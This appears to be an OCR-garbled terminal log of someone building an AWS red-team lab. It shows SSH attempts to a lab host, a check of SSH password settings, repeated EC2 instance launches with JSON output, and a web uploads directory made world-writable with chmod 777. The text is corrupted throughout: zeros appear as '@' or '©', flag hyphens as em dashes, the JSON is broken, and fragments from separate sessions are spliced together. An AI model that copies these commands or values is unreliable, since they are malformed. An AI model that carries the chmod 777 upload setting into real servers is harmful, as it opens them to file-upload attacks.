sudo mkdir -p /var/www/html/uploads
[sudo chmod 777 /var/www/html/uploads
Hit:1 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy InRelease
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ubuntu@ip-172-31-19-221:~$ ssh lowpriv@98.81.83.126

The authenticity of host '98.81.83.126 (98.81.83.126)' can't be established.
ED25519 key fingerprint is SHA256:cpgqsDCTnénG1NnKulgxC4RI193y9bIsvGxhfRQIGOQI .
This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '98.81.83.126' (ED25519) to the list of known hosts.
lowpriv@98.81.83.126: Permission denied (publickey).

ubuntu@Pip-172-31-19-221:~$ ssh -i redteam-key2.pem ubuntu@98.81.83.126

Warning: Identity file redteam—key2.pem not accessible: No such file or directory.
ubuntu@98.81.83.126: Permission denied (publickey).

ubuntu@ip-172-31-19-221:~$ cd ~

ssh —i redteam-key2.pem ubuntu@98.81.83.126

Warning: Identity file redteam—key2.pem not accessible: No such file or directory.
ubuntu@98.81.83.126: Permission denied (publickey).

ubuntu@ip-172-31-19-221:~$ exit

logout

Connection to 54.160.129.195 closed.

srita@Sritapurnyas-MacBook-Neo ~ % export PS1="lbs$ "

1bs$

1bs$ cd ~

ssh —i redteam-key2.pem ubuntu@98.81.83.126

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sat Aug 8 ©3:55:52 UTC 2026

System load: 0.0 Processes: 106
Usage of /: 26.2% of 7.57GB Users logged in: (2]
Memory usage: 22% IPv4 address for ens5: 172.31.26.150

Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list ——upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

New release '24.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Aug 8 ©3:41:18 2026 from 49.37.113.71

[ubuntu@ip-172-31-26-150:~$ sudo grep -i passwordauthentication /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null
/etc/ssh/sshd_config:#PasswordAuthentication yes

/etc/ssh/sshd_config:# PasswordAuthentication. Depending on your PAM configuration,
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[operator@ABCD-LAB:~ %

r

[operator@ABCD-LAB:~ % aws ec2 run-instances ——image-id ami-@6e78a7laf43ef2la —instance-type

{
"ReservationId": "r-073d2afd8eb92ec93",
"OwnerId
"Groups"
"Instances": [

{

i

"Architecture": "x86_64",

"BlockDeviceMappings": [1,

"ClientToken": "22@c3d7a-8be2-4b4b-98a3-a25081cbc72b",
"EbsOptimized": false,

"NetworkInterfaces": [

{
"Attachment": {
"AttachTime 26—-08-08T03:30:06+00:00" ,
"AttachmentId eni-attach-@8ab@9cbb5ffa8855"
"DeleteOnTermination": true,
"DeviceIndex": @,
"Status": "attaching",
"NetworkCardIndex": @
3,
"Description":
"Groups": [
{
"GroupId" sg-089e78fb6a9el8l0c",
"GroupName "RedTeamLab"
}
1,
"IpvéAddresses": [1,
"MacAddress": "@a:ff:c1l:2b:83:4f",
"NetworkInterfaceId": "eni-@f4289e4a22706ae3",
"OwnerId": "@69176179640",
"PrivateDnsName" : p-172-31-19-221.ec2.internal",
"PrivateIpAddress": "172.31.19.221",
"PrivateIpAddresses": [
{
"Primary": true,
"PrivateDnsName": "ip-172-31-19-221.ec2.internal",
"PrivateIpAddress": "172.31.19.221"
}
1,
"SourceDestCheck": true,
"Status" -use",
"SubnetId": "subnet-@50aclaecaabl79d4"
"VpcId" vpc-0a2c66981deslecée”
"InterfaceType": "interface",
"Operator": {
"Managed": false
}
}
1,
"RootDeviceName"
"RootDeviceType'
"SecurityGroups":
{
"GroupId": "sg-@89e78fb6a%el8lec",
"GroupName": "RedTeamLab"
}
1,

"SourceDestCheck": true

t3.micro -—key-name redteam-key2 --security-groups RedTeamLab ——count 1
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"VirtualizationType hvm",
[operator@ABCD-LAB:~ % aws ec2 run-instances ——image-id ami-@6e78a7laf43ef2la —instance-type t3.micro ——key-name redteam-key2 —-security-groups RedTeamLab —--count 1
{
"ReservationId": "r-@cé2dddc42e52dd3d",
"OwnerId": "@69176179640",
"Groups": [1,
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [1,
"ClientToken": "9@24ad28-703a-4c91-81f4-e3f9aed12a90",
"EbsOptimized": false,
"EnaSupport": true,
"Hypervisor": "xen",
"NetworkInterfaces": [

{
"Attachment": {
"AttachTime": "2026-08-08T03:30:11+00:00",
"AttachmentId": "eni-attach-@fbe49lacas9a8s4da",
"DeleteOnTermination": true,
"DeviceIndex": @,
"Status": "attaching",
"NetworkCardIndex": @
},
"Description": "",
"Groups": [
{
"GroupId": "sg-@89e78fb6a%el8lec",
"GroupName": "RedTeamLab"
}
1,
"IpvéAddresses": [1,
"MacAddress": "@a:ff:e4:23:91:f9",
"NetworkInterfaceId": "eni-08d@ee38f6656e9f8",
"OwnerId": "069176179640",
"PrivateDnsName": "ip-172-31-25-15.ec2.internal",
"PrivateIpAddress": "172.31.25.15",
"PrivateIpAddresses": [
{
"Primary": true,
"PrivateDnsName" ip-172-31-25-15.ec2.internal"
"PrivateIpAddres "172.31.25.15"
}
1,
"SourceDestCheck": true,
tatus": "in-use",
"SubnetId": "subnet-@5@aclaecaabl79d4",
"VpcId": "vpc-0a2c66981deslecée",
"InterfaceType": "interface",
"Operator": {
"Managed": false
}
}
1,
"RootDeviceName": "/dev/sdal",
"RootDeviceType": "ebs",
"SecurityGroups": [
"GroupId": "sg-@89e78fb6a9el8lOc",
"GroupName": "RedTeamlLab"
}
1

'
"SourceDestCheck": true,
"StateReason": {
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[operator@ABCD-LAB:~ % aws ec2 run-instances ——image-id ami-@6e78a71af43ef2la —instance-type t3.micro ——key-name redteam-key2 —-security-groups RedTeamLab —-count 1
{

"ReservationId "r-@1f959e2f3b6f4d62",

"OwnerId": "@69176179640",

“Groups": [],

"Instances": [

{

"Architecture": "x86_64",
"BlockDeviceMappings": [1,
“"ClientToken": "723dae5f-ebéaf-44cd-be7a-fad6e@700181",
"EbsOptimized": false,
"EnaSupport": true,

"Hypervisor": "xen",
"NetworkInterfaces": [
{

"Attachment": {
"AttachTime": "2026-08-08T03:30:16+00:00",
"AttachmentI eni-attach-@ce27a960eleda854" ,
"DeleteOnTermination": true,
"DeviceIndex": @,
"Status": "attaching",
"NetworkCardIndex": @

"Groups":
{
"GroupId": "sg-089e78fbéa9el8llc",
"GroupName": "RedTeamLab"
}

1

"IpvéAddresses": [1,

"MacAddress": "@a:ff:ec:0a:00:f3",
"NetworkInterfaceId": "eni-@e48782a34dcc8acé",
"OwnerId "069176179640" ,

"PrivateDnsName": "ip-172-31-26-158.ec2.internal",
"PrivateIpAddress": "172.31.26.150",
"PrivateIpAddresses": [

{
"Primary": true,
"PrivateDnsName": "ip-172-31-26-150.ec2.internal”,
"PrivateIpAddress": "172.31.26.150"
}
1,
"SourceDestCheck": true,
"Status": "in-use",
"SubnetId": "subnet-@50aclaecaabl79d4",
"VpcId": "vpc-@a2c66981d04lecbe”,

"InterfaceType": "interface",
"Operator": {
"Managed": false

}
}
1,
"RootDeviceName" A
"RootDeviceTyp
"SecurityGroup
"GroupId": "sg-089e78fbbajel8lec",
"GroupName": "RedTeamLab"
}
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